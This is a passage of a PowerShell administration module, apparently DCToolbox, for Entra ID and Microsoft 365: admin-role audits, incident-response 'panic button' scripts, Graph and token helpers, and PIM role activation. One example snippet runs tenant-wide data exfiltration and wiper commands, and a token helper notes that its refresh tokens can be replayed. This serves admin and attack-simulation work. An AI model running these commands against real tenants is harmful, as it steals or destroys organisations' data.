$UserAccountDetails.DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserPrincipalName" -Value $UserAccountDetails.UserPrincipalName + $CustomObject | Add-Member -MemberType NoteProperty -Name "AssignmentState" -Value $EntraIDDirectoryRoleAssignment.AssignmentState + $CustomObject | Add-Member -MemberType NoteProperty -Name "AccountCreated" -Value $UserAccountDetails.ExtensionProperty.createdDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name "LastLogon" -Value $LastLogon + $CustomObject +} + +# List all Entra ID role members (newest first). +$EntraIDDirectoryRoleMembers | Sort-Object AccountCreated -Descending | Format-Table + + + +# *** Inspect current Entra ID admins (only if you do NOT use Entra ID PIM) *** + +# Interesting Entra ID roles to inspect. +$InterestingDirectoryRoles = 'Global Administrator', +'Global Reader', +'Privileged Role Administrator', +'Security Administrator', +'Application Administrator', +'Compliance Administrator' + +# Fetch Entra ID role details. +$EntraIDDirectoryRoles = Get-AzureAdDirectoryRole | Where-Object { $_.DisplayName -in $InterestingDirectoryRoles } + +# Fetch Entra ID role members for each role and format as custom object. +$EntraIDDirectoryRoleMembers = foreach ($EntraIDDirectoryRole in $EntraIDDirectoryRoles) { + $RoleAssignments = Get-AzureAdDirectoryRoleMember -ObjectId $EntraIDDirectoryRole.ObjectId + + foreach ($RoleAssignment in $RoleAssignments) { + $LastLogon = (Get-AzureAdAuditSigninLogs -top 1 -filter "UserId eq '$($RoleAssignment.ObjectId)'" | Select-Object CreatedDateTime).CreatedDateTime + + if ($LastLogon) { + $LastLogon = [System.TimeZoneInfo]::ConvertTimeBySystemTimeZoneId((Get-Date -Date $LastLogon), (Get-TimeZone).Id) + } + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "EntraIDDirectoryRole" -Value $EntraIDDirectoryRole.DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserID" -Value $RoleAssignment.ObjectID + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserAccount" -Value $RoleAssignment.DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserPrincipalName" -Value $RoleAssignment.UserPrincipalName + $CustomObject | Add-Member -MemberType NoteProperty -Name "AccountCreated" -Value $RoleAssignment.ExtensionProperty.createdDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name "LastLogon" -Value $LastLogon + $CustomObject + } +} + +# List all Entra ID role members (newest first). +$EntraIDDirectoryRoleMembers | Sort-Object AccountCreated -Descending | Format-Table + + + +# *** Check if admin accounts are synced from on-prem (bad security) *** + +# Loop through the admins from previous output and fetch sync status. +$SyncedAdmins = foreach ($EntraIDDirectoryRoleMember in $EntraIDDirectoryRoleMembers) { + $IsSynced = (Get-AzureAdUser -ObjectId $EntraIDDirectoryRoleMember.UserID | Where-Object {$_.DirSyncEnabled -eq $true}).DirSyncEnabled + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserID" -Value $EntraIDDirectoryRoleMember.UserID + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserAccount" -Value $EntraIDDirectoryRoleMember.UserAccount + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserPrincipalName" -Value $EntraIDDirectoryRoleMember.UserPrincipalName + + if ($IsSynced) { + $CustomObject | Add-Member -MemberType NoteProperty -Name "SyncedOnPremAccount" -Value 'True' + } else { + $CustomObject | Add-Member -MemberType NoteProperty -Name "SyncedOnPremAccount" -Value 'False' + } + + $CustomObject +} + +# List admins (synced on-prem accounts first). +$SyncedAdmins | Sort-Object UserPrincipalName -Descending -Unique | Sort-Object SyncedOnPremAccount -Descending | Format-Table + + + +# *** ON-PREM SYNC PANIC BUTTON: Block all Entra ID admin accounts that are synced from on-prem *** +# WARNING: Make sure you understand what you're doing before running this script! + +# Loop through admins synced from on-prem and block sign-ins. +foreach ($SyncedAdmin in ($SyncedAdmins | Where-Object { $_.SyncedOnPremAccount -eq 'True' })) { + Set-AzureAdUser -ObjectID $SyncedAdmin.UserID -AccountEnabled $false +} + +# Check account status. +foreach ($SyncedAdmin in ($SyncedAdmins | Where-Object { $_.SyncedOnPremAccount -eq 'True' })) { + Get-AzureAdUser -ObjectID $SyncedAdmin.UserID | Select-Object userPrincipalName, AccountEnabled +} + + + +# *** Check admins last password set time *** + +# Connect to Microsoft online services. +Connect-MsolService + +# Loop through the admins from previous output and fetch LastPasswordChangeTimeStamp. +$AdminPasswordChanges = foreach ($EntraIDDirectoryRoleMember in ($EntraIDDirectoryRoleMembers| Sort-Object UserID -Unique)) { + $LastPasswordChangeTimeStamp = [System.TimeZoneInfo]::ConvertTimeBySystemTimeZoneId((Get-Date -Date (Get-MsolUser -ObjectId $EntraIDDirectoryRoleMember.UserID | Select-Object LastPasswordChangeTimeStamp).LastPasswordChangeTimeStamp), (Get-TimeZone).Id) + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserID" -Value $EntraIDDirectoryRoleMember.UserID + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserAccount" -Value $EntraIDDirectoryRoleMember.UserAccount + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserPrincipalName" -Value $EntraIDDirectoryRoleMember.UserPrincipalName + $CustomObject | Add-Member -MemberType NoteProperty -Name "LastPasswordChangeTimeStamp" -Value $LastPasswordChangeTimeStamp + $CustomObject +} + +# List admins (newest passwords first). +$AdminPasswordChanges | Sort-Object LastPasswordChangeTimeStamp -Descending | Format-Table + + + +# *** ADMIN PASSWORD PANIC BUTTON: Reset passwords for all Entra ID admins (except for current user and break glass accounts) *** +# WARNING: Make sure you understand what you're doing before running this script! + +# IMPORTANT: Define your break glass accounts. +$BreakGlassAccounts = 'breakglass1@example.onmicrosoft.com', 'breakglass2@example.onmicrosoft.com' + +# The current user running PowerShell against Entra ID. +$CurrentUser = (Get-AzureAdCurrentSessionInfo).Account.Id + +# Loop through admins and set new complex passwords (using generated GUIDs). +foreach ($EntraIDDirectoryRoleMember in ($EntraIDDirectoryRoleMembers | Sort-Object UserPrincipalName -Unique)) { + if ($EntraIDDirectoryRoleMember.UserPrincipalName -notin $BreakGlassAccounts -and $EntraIDDirectoryRoleMember.UserPrincipalName -ne $CurrentUser) { + Write-Verbose -Verbose -Message "Setting new password for $($EntraIDDirectoryRoleMember.UserPrincipalName)..." + Set-AzureAdUserPassword -ObjectId $EntraIDDirectoryRoleMember.UserID -Password (ConvertTo-SecureString (New-Guid).Guid -AsPlainText -Force) + } else { + Write-Verbose -Verbose -Message "Skipping $($EntraIDDirectoryRoleMember.UserPrincipalName)!" + } +} + +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 8 { + $Snippet = @' +# This script uses an Entra ID app registration to download all files from all M365 groups (Teams) document libraries in a tenant. + +# One of the following Graph API app permissions is required: +# - Files.Read.All +# - Files.ReadWrite.All +# - Sites.Read.All +# - Sites.ReadWrite.All + +# Simulate data exfiltration. +Invoke-DCM365DataExfiltration -ClientID '' -ClientSecret '' -TenantName 'COMPANY.onmicrosoft.com' -WhatIf + +# Perform data exfiltration. +Invoke-DCM365DataExfiltration -ClientID '' -ClientSecret '' -TenantName 'COMPANY.onmicrosoft.com' + + +# This script uses an Entra ID app registration to wipe all files from all M365 groups (Teams) document libraries in a tenant. + +# One of the following Graph API app permissions is required: +# - Files.ReadWrite.All +# - Sites.ReadWrite.All + +# Simulate data deletion. +Invoke-DCM365DataWiper -ClientID '' -ClientSecret '' -TenantName 'COMPANY.onmicrosoft.com' -WhatIf + +# Perform data deletion. +Invoke-DCM365DataWiper -ClientID '' -ClientSecret '' -TenantName 'COMPANY.onmicrosoft.com' + +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 100 { + $Snippet = @' +# +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 0 { + break + } default { + break + } + } + } + + + # Create example menu. + $Choice = CreateMenu -MenuTitle "Copy DCToolbox example to clipboard" -MenuChoices "Microsoft Graph with PowerShell examples", "Manage Conditional Access as code", "Activate an Entra ID Privileged Identity Management (PIM) role", "Manage stale Entra ID accounts", "Azure MFA SMS and voice call methods cleanup script", "General PowerShell script template", "Entra ID Security Breach Kick-Out Process", "Microsoft 365 Data Exfiltration / Wiper Attack" + + + # Handle menu choice. + HandleMenuChoice -MenuChoice $Choice +} + + + +function Install-DCToolbox { + <# + .SYNOPSIS + Check, install, and update the DCToolbox PowerShell module. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Install-DCToolbox + + .EXAMPLE + Install-DCToolbox -Verbose + #> + + + [CmdletBinding()] + param () + + + Write-Verbose -Message "Looking for DCToolbox PowerShell module..." + + $ModuleVersion = [string](Get-Module -ListAvailable -Name DCToolbox -Verbose:$false | Sort-Object Version -Descending | Select-Object -First 1).Version + $LatestVersion = (Find-Module DCToolbox -Verbose:$false | Select-Object -First 1).Version + + if (!($ModuleVersion)) { + Write-Verbose -Message "Not found! Installing DCToolbox $LatestVersion..." + Install-Module DCToolbox -Scope CurrentUser -Force -Verbose:$false + Write-Verbose -Message "Done!" + } + elseif ($ModuleVersion -ne $LatestVersion) { + Write-Verbose -Message "Found DCToolbox $ModuleVersion. Upgrading to $LatestVersion..." + Install-Module DCToolbox -Scope CurrentUser -Force -Verbose:$false + Write-Verbose -Message "Done!" + } + else { + Write-Verbose -Message "DCToolbox $ModuleVersion found!" + } + + Remove-Module DCToolbox -Force -Verbose:$false + + Import-Module DCToolbox -Force -Verbose:$false -ErrorAction SilentlyContinue | Out-Null +} + + + +function Confirm-DCPowerShellVersion { + <# + .SYNOPSIS + Check that a supported PowerShell version is running. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Confirm-DCPowerShellVersion + + .EXAMPLE + Confirm-DCPowerShellVersion -Verbose + #> + + + [CmdletBinding()] + param () + + + Write-Verbose -Message "Checking PowerShell version..." + if ($PSVersionTable.PSVersion.Major -lt 7) { + Write-Error -Message "Please upgrade to PowerShell version 7 before running this command: https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-windows?view=powershell-7.3" + + return + exit + } + else { + Write-Verbose -Message "PowerShell $($PSVersionTable.PSVersion.Major).$($PSVersionTable.PSVersion.Minor) found!" + } +} + + + +function Install-DCMicrosoftGraphPowerShellModule { + <# + .SYNOPSIS + Check, install, and update the Microsoft Graph PowerShell module. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Install-DCMicrosoftGraphPowerShellModule + + .EXAMPLE + Install-DCMicrosoftGraphPowerShellModule -Verbose + #> + + + [CmdletBinding()] + param () + + + Write-Verbose -Message "Looking for the Graph PowerShell module..." + + $ModuleVersion = [string](Get-Module -ListAvailable -Name Microsoft.Graph.Authentication -Verbose:$false | Sort-Object Version -Descending | Select-Object -First 1).Version + $LatestVersion = (Find-Module Microsoft.Graph.Authentication -Verbose:$false | Select-Object -First 1).Version + + if (!($ModuleVersion)) { + Write-Verbose -Message "Not found! Installing Graph PowerShell module $LatestVersion..." + Install-Module Microsoft.Graph -Scope CurrentUser -Force -Verbose:$false + Write-Verbose -Message "Done!" + } + elseif ($ModuleVersion -ne $LatestVersion) { + Write-Verbose -Message "Found Graph PowerShell module $ModuleVersion. Upgrading to $LatestVersion..." + Install-Module Microsoft.Graph -Scope CurrentUser -Force -Verbose:$false + Write-Verbose -Message "Done!" + } + else { + Write-Verbose -Message "Graph PowerShell module $ModuleVersion found!" + } + + Remove-Module Microsoft.Graph* -Force -Verbose:$false + + Import-Module Microsoft.Graph.Authentication -Force -Verbose:$false -ErrorAction SilentlyContinue | Out-Null +} + + + +function Connect-DCMsGraphAsUser { + <# + .SYNOPSIS + Connect to Microsoft Graph with the Microsoft Graph PowerShell module as a user (using delegated permissions in Graph). + + .PARAMETER Scopes + The required API permission scopes (delegated permissions). Example: "Policy.ReadWrite.ConditionalAccess", "Policy.Read.All" + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' + + .EXAMPLE + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + #> + + + [CmdletBinding()] + param ( + [parameter(Mandatory = $true)] + [string[]]$Scopes + ) + + + # Authenticate to Microsoft Graph: + Write-Verbose -Message "Connecting to Microsoft Graph..." + + Connect-MgGraph -NoWelcome -Scopes $Scopes -ErrorAction Stop + + Write-Verbose -Message "Connected to tenant '$(((Get-MgContext).Account.Split('@'))[1] )'!" +} + + + +function Invoke-DCEntraIDDeviceAuthFlow { + <# + .SYNOPSIS + Get a refresh token (or access token) from Entra ID using device code flow. + + .DESCRIPTION + This CMDlet will start a device code flow authentication process in Entra ID. Go to the provided URL and enter the code to authenticate. The script will wait for the authentication and then return the refresh token, and also copy it to the clipboard. + + A refresh token fetched by this tool can be replayed on another device. + + .PARAMETER ShowTokenDetails + Add this parameter if you want to display the token details on successful authentication. + + .PARAMETER ReturnAccessTokenInsteadOfRefreshToken + Return an access token instead of a refresh token. + + .PARAMETER ClientID + OPTIONAL: Specify the client ID for which a refresh token should be requested. Defaults to 'Microsoft Azure PowerShell' (1950a258-227b-4e31-a9cf-717495945fc2). If you set this parameter, you must also specify -TenantID. Note that the app registration in Entra ID must have device code flow enabled under Authentication > Advanced settings. + + .PARAMETER TenantID + OPTIONAL: Specify your tenant ID. You only need to specify this if you're specifying a ClientID with -ClientID. This is because Microsoft needs to now in which tenant a specific app is located. + + .INPUTS + None + + .OUTPUTS + Entra ID Refresh Token + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Invoke-DCEntraIDDeviceAuthFlow + + .EXAMPLE + $RefreshToken = Invoke-DCEntraIDDeviceAuthFlow + + .EXAMPLE + Invoke-DCEntraIDDeviceAuthFlow -ShowTokenDetails + + .EXAMPLE + Invoke-DCEntraIDDeviceAuthFlow -ClientID '' -TenantID '' + #> + + + param ( + [parameter(Mandatory = $false)] + [switch]$ShowTokenDetails, + + [parameter(Mandatory = $false)] + [switch]$ReturnAccessTokenInsteadOfRefreshToken, + + [parameter(Mandatory = $false)] + [string]$ClientID = '1950a258-227b-4e31-a9cf-717495945fc2', + + [parameter(Mandatory = $false)] + [string]$TenantID = 'common' + ) + + + # STEP 1: Get a device authentication code to use in browser. + $Headers = @{} + $Headers["Content-Type"] = 'application/x-www-form-urlencoded' + + $body = @{ + "client_id" = $ClientID + "scope" = "openid offline_access" + } + + $authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/$TenantID/oauth2/v2.0/devicecode" -Headers $Headers -Body $body + + Write-Host "" + Write-Host -ForegroundColor Yellow "Go to this URL in any web browser:" + Write-Host -ForegroundColor Cyan " $($authResponse.verification_uri)" + Write-Host "" + Write-Host -ForegroundColor Yellow "Enter this code (it's in your clipboard):" + $($authResponse.user_code) | Set-Clipboard + Write-Host -ForegroundColor Cyan " $($authResponse.user_code)" + Write-Host "" + + + # STEP 2: Wait for authentication to happen in browser, then get the refresh token and copy it to clipboard. + Write-Host -ForegroundColor Yellow 'Waiting for browser sign-in...' + + for ($i = 0; $i -lt 60; $i++) { + try { + $body = @{ + "grant_type" = "urn:ietf:params:oauth:grant-type:device_code" + "client_id" = $ClientID + "device_code" = $authResponse.device_code + } + + $Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/$TenantID/oauth2/v2.0/token" -Headers $Headers -Body $body + + Write-Host "" + Write-Host -ForegroundColor Green "SUCCESS!" + + if ($ShowTokenDetails) { + Write-Host "" + Write-Host -ForegroundColor Yellow "*** Details ***" + Write-Host -ForegroundColor Yellow "Token expires in: $([math]::Round($Tokens.expires_in / 60)) minutes" + Write-Host -ForegroundColor Yellow "Scope: $($Tokens.scope)" + } + + if ($ReturnAccessTokenInsteadOfRefreshToken) { + Write-Host "" + Write-Host -ForegroundColor Yellow "Access token:" + + Write-Output $Tokens.access_token + Write-Host "" + Write-Host -ForegroundColor Yellow "Access token was copied to clipboard!" + Write-Host "" + $Tokens.access_token | Set-Clipboard + } + else { + Write-Host "" + Write-Host -ForegroundColor Yellow "Refresh token:" + + Write-Output $Tokens.refresh_token + Write-Host "" + Write-Host -ForegroundColor Yellow "Refresh token was copied to clipboard!" + Write-Host "" + $Tokens.refresh_token | Set-Clipboard + } + + return + } + catch { + if (($_ | ConvertFrom-Json).error -eq 'code_expired') { + Write-Host "" + Write-Host -ForegroundColor Red 'Verification code expired!' + Write-Host "" + return + } + elseif (($_ | ConvertFrom-Json).error -eq 'authorization_pending') { + Start-Sleep -Seconds 5 + } + else { + Write-Host "" + Write-Host -ForegroundColor Red ($_ | ConvertFrom-Json).error + Write-Host "" + return + } + } + } + Write-Host "" + Write-Host -ForegroundColor Red 'Verification code expired!' + Write-Host "" +} + + + +function Connect-DCMsGraphAsApplication { + <# + .SYNOPSIS + Connect to Microsoft Graph with application credentials. + + .DESCRIPTION + This CMDlet will automatically connect to Microsoft Graph using application permissions (as opposed to delegated credentials). If successfull an access token is returned that can be used with other Graph CMDlets. Make sure you store the access token in a variable according to the example. + + Before running this CMDlet, you first need to register a new application in your Entra ID according to this article: + https://danielchronlund.com/2018/11/19/fetch-data-from-microsoft-graph-with-powershell-paging-support/ + + .PARAMETER ClientID + Client ID for your Entra ID application. + + .PARAMETER ClientSecret + Client secret for the Entra ID application. + + .PARAMETER TenantName + The name of your tenant (example.onmicrosoft.com). + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + $AccessToken = Connect-DCMsGraphAsApplication -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' + #> + + + param ( + [parameter(Mandatory = $true)] + [string]$ClientID, + + [parameter(Mandatory = $true)] + [string]$ClientSecret, + + [parameter(Mandatory = $true)] + [string]$TenantName + ) + + + # Declarations. + $LoginUrl = "https://login.microsoft.com" + $ResourceUrl = "https://graph.microsoft.com" + + + # Force TLS 1.2. + [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 + + + # Compose REST request. + $Body = @{ grant_type = "client_credentials"; resource = $ResourceUrl; client_id = $ClientID; client_secret = $ClientSecret } + $OAuth = Invoke-RestMethod -Method Post -Uri $LoginUrl/$TenantName/oauth2/token?api-version=1.0 -Body $Body + + + # Return the access token. + $OAuth.access_token +} + + + +function Invoke-DCMsGraphQuery { + <# + .SYNOPSIS + Run a Microsoft Graph query. + + .DESCRIPTION + This CMDlet will run a query against Microsoft Graph and return the result. It will connect using an access token generated by Connect-DCMsGraphAsDelegated or Connect-DCMsGraphAsApplication (depending on what permissions you use in Graph). + + Before running this CMDlet, you first need to register a new application in your Entra ID according to this article: + https://danielchronlund.com/2018/11/19/fetch-data-from-microsoft-graph-with-powershell-paging-support/ + + .PARAMETER AccessToken + An access token generated by Connect-DCMsGraphAsDelegated or Connect-DCMsGraphAsApplication (depending on what permissions you use in Graph). + + .PARAMETER GraphMethod + The HTTP method for the Graph call, like GET, POST, PUT, PATCH, DELETE. Default is GET. + + .PARAMETER GraphUri + The Microsoft Graph URI for the query. Example: https://graph.microsoft.com/v1.0/users/ + + .PARAMETER GraphBody + The request body of the Graph call. This is often used with methids like POST, PUT and PATCH. It is not used with GET. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri 'https://graph.microsoft.com/v1.0/users/' + #> + + + param ( + [parameter(Mandatory = $true)] + [string]$AccessToken, + + [parameter(Mandatory = $false)] + [string]$GraphMethod = 'GET', + + [parameter(Mandatory = $true)] + [string]$GraphUri, + + [parameter(Mandatory = $false)] + [string]$GraphBody = '' + ) + + # Check if authentication was successfull. + if ($AccessToken) { + # Format headers. + $HeaderParams = @{ + 'Content-Type' = "application\json" + 'Authorization' = "Bearer $AccessToken" + } + + + # Create an empty array to store the result. + $QueryRequest = @() + $QueryResult = @() + + # Run the first query. + if ($GraphMethod -eq 'GET') { + $QueryRequest = Invoke-RestMethod -Headers $HeaderParams -Uri $GraphUri -UseBasicParsing -Method $GraphMethod -ContentType "application/json" + } + else { + $QueryRequest = Invoke-RestMethod -Headers $HeaderParams -Uri $GraphUri -UseBasicParsing -Method $GraphMethod -ContentType "application/json" -Body $GraphBody + } + + if ($QueryRequest.value) { + $QueryResult += $QueryRequest.value + } + else { + $QueryResult += $QueryRequest + } + + + # Invoke REST methods and fetch data until there are no pages left. + if ($GraphUri -notlike "*`$top*") { + while ($QueryRequest.'@odata.nextLink') { + $QueryRequest = Invoke-RestMethod -Headers $HeaderParams -Uri $QueryRequest.'@odata.nextLink' -UseBasicParsing -Method $GraphMethod -ContentType "application/json" + + $QueryResult += $QueryRequest.value + } + } + + + $QueryResult + } + else { + Write-Error "No Access Token" + } +} + + + +function Enable-DCEntraIDPIMRole { + <# + .SYNOPSIS + Activate an Entra ID Privileged Identity Management (PIM) role with PowerShell. + + .DESCRIPTION + Uses the Graph PowerShell module to activate a user selected Entra ID role in Entra ID Privileged Identity Management (PIM). + + During activation, the user will be prompted to specify a reason for the activation. + + .PARAMETER RolesToActivate + This parameter is optional but if you specify it, you can select multiple roles to activate at ones. + + .PARAMETER Reason + Specify the reason for activating your roles. + + .PARAMETER UseMaximumTimeAllowed + Use this switch to automatically request maximum allowed time for all role assignments. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Enable-DCEntraIDPIMRole + + .EXAMPLE + Enable-DCEntraIDPIMRole -RolesToActivate 'Exchange Administrator', 'Security Reader' + + .EXAMPLE + Enable-DCEntraIDPIMRole -RolesToActivate 'Exchange Administrator', 'Security Reader' -UseMaximumTimeAllowed + + .EXAMPLE + Enable-DCEntraIDPIMRole -RolesToActivate 'Exchange Administrator', 'Security Reader' -Reason 'Performing some Exchange security configuration.' -UseMaximumTimeAllowed + #> + + param ( + [parameter(Mandatory = $false)] + [array]$RolesToActivate = @(), + + [parameter(Mandatory = $false)] + [string]$Reason, + + [parameter(Mandatory = $false)] + [switch]$UseMaximumTimeAllowed + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Check if the MSAL module is installed. + if (Get-Module -ListAvailable -Name "msal.ps") { + # Do nothing. + } + else { + Write-Verbose -Verbose -Message 'Installing MSAL module...' + Install-Package msal.ps -Force | Out-Null + } + + + # Check if already connected to Entra ID. + if (!(Get-MgContext)) { + # Try to force MFA challenge (since it is often required for PIM role activation). + Write-Verbose -Verbose -Message 'Connecting to Entra ID...' + + # Get token for MS Graph by prompting for MFA. + $MsResponse = Get-MsalToken -Scopes @('https://graph.microsoft.com/.default') -ClientId "14d82eec-204b-4c2f-b7e8-296a70dab67e" -RedirectUri "urn:ietf:wg:oauth:2.0:oob" -Authority 'https://login.microsoftonline.com/common' -Interactive -ExtraQueryParameters @{claims = '{"access_token" : {"amr": { "values": ["mfa"] }}}' } + + Connect-MgGraph -NoWelcome -AccessToken (ConvertTo-SecureString $MsResponse.AccessToken -AsPlainText -Force) + } + + + # Fetch current user object ID. + $CurrentAccount = (Get-MgContext).Account + Write-Verbose -Message "Fetching eligible roles for $CurrentAccount..." + $CurrentAccountId = (Get-MgUser -Filter "UserPrincipalName eq '$CurrentAccount'").Id + + + # Fetch all Entra ID roles. + $EntraIDRoleTemplates = Get-MgDirectoryRoleTemplate | Select-Object DisplayName, Description, Id | Sort-Object DisplayName + + + # Fetch all PIM role assignments for the current user. + $EntraIDEligibleRoleAssignments = Get-MgRoleManagementDirectoryRoleEligibilitySchedule -ExpandProperty RoleDefinition -All -Filter "principalId eq '$CurrentAccountId'" + + + # Exit if no roles are found. + if ($EntraIDEligibleRoleAssignments.Count -eq 0) { + Write-Verbose -Verbose -Message '' + Write-Verbose -Verbose -Message 'Found no eligible PIM roles to activate :(' + return + } + + # Format the fetched information. + $CurrentAccountRoles = foreach ($RoleAssignment in $EntraIDEligibleRoleAssignments) { + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name 'RoleDefinitionId' -Value $RoleAssignment.RoleDefinitionId + $CustomObject | Add-Member -MemberType NoteProperty -Name 'DisplayName' -Value ($EntraIDRoleTemplates | Where-Object { $_.Id -eq $RoleAssignment.RoleDefinitionId } ).DisplayName + + $PolicyAssignment = Get-MgPolicyRoleManagementPolicyAssignment -Filter "scopeId eq '/' and scopeType eq 'DirectoryRole' and roleDefinitionId eq '$($RoleAssignment.RoleDefinitionId)'" -ExpandProperty "policy(`$expand=rules)" + + # Get the role management policy that's been assigned: + $Policy = Get-MgPolicyRoleManagementPolicy -UnifiedRoleManagementPolicyId $PolicyAssignment.PolicyId + + # Get all policy rules belonging to this role management policy: + $PolicyRules = Get-MgPolicyRoleManagementPolicyRule -UnifiedRoleManagementPolicyId $Policy.Id + + $MaximumDuration = ($PolicyRules | where id -eq 'Expiration_EndUser_Assignment').AdditionalProperties.maximumDuration + + $CustomObject | Add-Member -MemberType NoteProperty -Name 'maximumGrantPeriodInHours' -Value ($MaximumDuration -replace 'PT', '' -replace 'H', '') + $CustomObject | Add-Member -MemberType NoteProperty -Name 'StartDateTime' -Value $RoleAssignment.StartDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name 'EndDateTime' -Value $RoleAssignment.EndDateTime + $CustomObject + } + + + # Write menu title. + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "*** Activate PIM Role for $CurrentAccount ***" + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Cyan" "Note: To switch account/tenant, run Disconnect-MgGraph first." + Write-Host -ForegroundColor "Yellow" "" + + # Check if parameter was specified, and if that is true, enable all roles. + if (!($RolesToActivate)) { + # Create a menu and prompt the user for role selection. + + # Create a counter. + $Counter = 1 + + # Generate the menu choices. + foreach ($DisplayName in $CurrentAccountRoles.DisplayName) { + Write-Host -ForegroundColor "Yellow" "[$Counter] $DisplayName" + + # Add to counter. + $Counter = $Counter + 1 + } + Write-Host -ForegroundColor "Yellow" "[0] Exit" + + # Write empty line. + Write-Host -ForegroundColor "Yellow" "" + + # Prompt user for input. + $Prompt = "Choice" + $Answer = Read-Host $Prompt + + # Exit if requested. + if ($Answer -eq 0) { + return + } + + # Exit if nothing is selected. + if ($Answer -eq '') { + return + } + + # Exit if no role is selected. + if (!($CurrentAccountRoles[$Answer - 1])) { + return + } + + $RolesToActivate = @($CurrentAccountRoles[$Answer - 1]) + } + else { + Write-Host 'Roles to activate:' + Write-Host '' + + $RolesToActivate = foreach ($Role in $RolesToActivate) { + if ($CurrentAccountRoles.DisplayName -contains $Role) { + Write-Host $Role + $CurrentAccountRoles | Where-Object { $_.DisplayName -eq $Role } + } + } + } + + # Prompt user for reason. + Write-Host '' + + if (!($Reason)) { + $Prompt = "Reason" + $Reason = Read-Host $Prompt + } + + + foreach ($Role in $RolesToActivate) { + # Check if PIM-role is already activated. + $Duration = 0 + + if ($UseMaximumTimeAllowed) { + $Duration = ($Role.maximumGrantPeriodInHours) + } + else { + # Prompt user for duration. + if (!($Duration = Read-Host "Duration for '$($Role.DisplayName)' [$($Role.maximumGrantPeriodInHours) hour(s)]")) { + $Duration = $Role.maximumGrantPeriodInHours + } + } + + + # Activate PIM role. + Write-Verbose -Verbose -Message "Activating PIM role '$($Role.DisplayName)'..." + + + # Check for existing role activation before activating: + $Result = '' + $ExistingActivations = Get-MgRoleManagementDirectoryRoleAssignmentSchedule -Filter "PrincipalId eq '$CurrentAccountId' and RoleDefinitionId eq '$($Role.RoleDefinitionId)'" + + if ($ExistingActivations) { + $params = @{ + "PrincipalId" = "$CurrentAccountId" + "RoleDefinitionId" = "$($Role.RoleDefinitionId)" + "DirectoryScopeId" = "/" + "Action" = "SelfDeactivate" + } + + $Result = New-MgRoleManagementDirectoryRoleAssignmentScheduleRequest -BodyParameter $params + } + + $params = @{ + "PrincipalId" = "$CurrentAccountId" + "RoleDefinitionId" = "$($Role.RoleDefinitionId)" + "Justification" = "$Reason" + 